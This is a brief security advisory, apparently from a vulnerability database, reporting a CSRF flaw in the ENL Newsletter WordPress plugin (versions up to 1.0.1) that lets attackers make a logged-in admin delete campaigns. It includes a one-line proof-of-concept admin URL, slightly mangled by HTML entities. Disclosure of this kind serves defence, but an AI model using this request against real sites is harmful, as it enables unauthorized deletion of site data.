ENL Newsletter <= 1.0.1 - Campaign Deletion via CSRF

Description The plugin does not have CSRF checks in some places, which could allow attackers to make logged in admins delete arbitrary Campaigns via a CSRF attack

PoC

Make an admin open a URL like (where <> is a valid ID): http://example.com/wp-admin/admin.php?page=enl-campaigns&amp;action;=campaign-delete&amp;id;=&lt;&gt;